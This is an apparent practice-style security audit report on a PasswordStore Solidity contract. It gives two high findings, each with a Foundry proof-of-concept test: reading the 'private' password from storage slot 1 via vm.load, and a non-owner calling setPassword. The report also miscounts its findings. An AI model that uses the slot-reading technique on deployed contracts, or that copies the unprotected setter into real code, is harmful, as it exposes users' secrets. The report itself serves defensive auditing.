PasswordStore Audit Report

Version 1.0

elpabl0.eth

January 6, 2024

PasswordStore Audit Report

elpabl0

January 6, 2024

Prepared by: Elpabl0 Lead Auditors: - elpabl0.eth

Table of Contents

Disclaimer

I makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
7d55682ddc4301a7b13ae9413095feffd9924566
```

Scope

```
src/
--- PasswordStore.sol
```

Protocol Summary

PasswordStore is a protocol dedicated to storage and retrieval of a user's passwords. The protocol is designed to be used by a single user, and is not designed to be used by multiple users. Only the owner should be able to set and access this password.

Roles

- Owner: Is the only one who should be able to set and access the password.

For this contract, only the owner should be able to interact with the contract.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	0
Low	1
Info	1
Gas Optimizations	0
Total	0

Findings

High

[H-1] Storing private password on-chain making it publicly visible

Description: All data stored on-chain is publicly visible and can be read directly from blockchain, even if the variable is private it could be read through direct pointing into it storage slot. Making it not private and misintended the `PasswordStore::getPassword()` function.

Impact: Anyone can read the private password, severly breaking the functionality of the protocol.

Proof of Concept: Add the following to `PasswordStore.t.sol`

Code

```solidity
function test_any_non_owner_can_see_password() public {
    string memory victimPassword = "mySecretPassword"; // Defines Victim's (Owner's) password
    vm.startPrank(owner); // Simulates Victim's address for the next call
    passwordStore.setPassword(victimPassword); // Victim sets their password

    // At this point, Victim thinks their password is now "privately" stored on the protocol and is completely secret.
    // The exploit code that now follows can be performed by just about everyone on the blockchain who are aware of the Victim's protocol and can access and read the Victim's password.

    /////////// EXPLOIT CODE performed by Attacker ///////////

    // By observing the protocol's source code at `PasswordStore.sol`, we notice that `s_password` is the second storage variable declared in the contract. Since storage slots are alloted in the order of declaration in the EVM, its slot value will be '1'
    uint256 S_PASSWORD_STORAGE_SLOT_VALUE = 1;

    // Access the protocol's storage data at slot 1
    bytes32 slotData = vm.load(
        address(passwordStore),
        bytes32(S_PASSWORD_STORAGE_SLOT_VALUE)
    );

    // Converting `bytes` data to `string`
    string memory anyoneCanReadPassword = string(
        abi.encodePacked(slotData)
    );
    // Exposes Victim's password on console
    console.log(anyoneCanReadPassword);
}
```

Recommended Mitigation: All data on the blockchain is public. To store sensitive information, additional encryption or off-chain solutions should be considered. Sensitive and personal data should never be stored on the blockchain in plaintext or weakly encrypted or encoded format.

[H-2] `PasswordStore::setPassword()` has no access controls, meaning a non-owner could change the password

Description: The `PasswordStore::setPassword()` function is set to be an `external` function, however, the natspec of the function and overall purpose of the contract is that `This function allows only owner to set a new password.`

```
/*
     * @notice This function allows only the owner to set a new
        password.
     * @param newPassword The new password to set.
     */
@>   //! @audit-high non owner can set the password.
@>    //! Missing access control.
    function setPassword(string memory newPassword) external {
        s_password = newPassword;
        emit SetNetPassword();
    }
```

Impact: Anyone can set/change the password of the contract, breaking the overall logic of the contract.

Proof of Concept: Add the following to `PasswordStore.t.sol`

Code

```
    function test_anyone_can_set_password(address randomAddress) public
         {
        vm.assume(randomAddress != owner);
        vm.prank(randomAddress);
        string memory expectedPassword = "myNewPassword";
        passwordStore.setPassword(expectedPassword);

        vm.prank(owner);
        string memory actualPassword = passwordStore.getPassword();
        assertEq(actualPassword, expectedPassword);
    }
```

Recommended Mitigation: Add an access control conditional to the `setPassword()` function.

```
if (msg.sender != s_owner) {
            revert PasswordStore__NotOwner();
    }
```